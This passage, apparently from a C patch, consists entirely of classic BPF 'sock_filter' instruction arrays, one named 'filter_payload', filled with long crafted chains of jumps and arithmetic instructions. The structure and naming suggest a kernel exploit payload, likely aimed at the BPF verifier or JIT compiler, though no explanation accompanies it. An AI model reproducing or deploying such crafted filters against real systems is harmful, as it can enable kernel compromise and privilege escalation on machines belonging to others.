0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x28, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x27, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x26, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x20, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; + +struct sock_filter filter_payload[] = { + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000008f, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000090, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007d5, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000054f, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007df, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000202, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000213, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007e0, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007d2, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000267, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007e8, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000001ff, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000022b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007df, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007d0, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000710, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007e1, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000001fc, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000243, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007de, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007cf, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000077d, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000007db, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000058c, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000002a, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 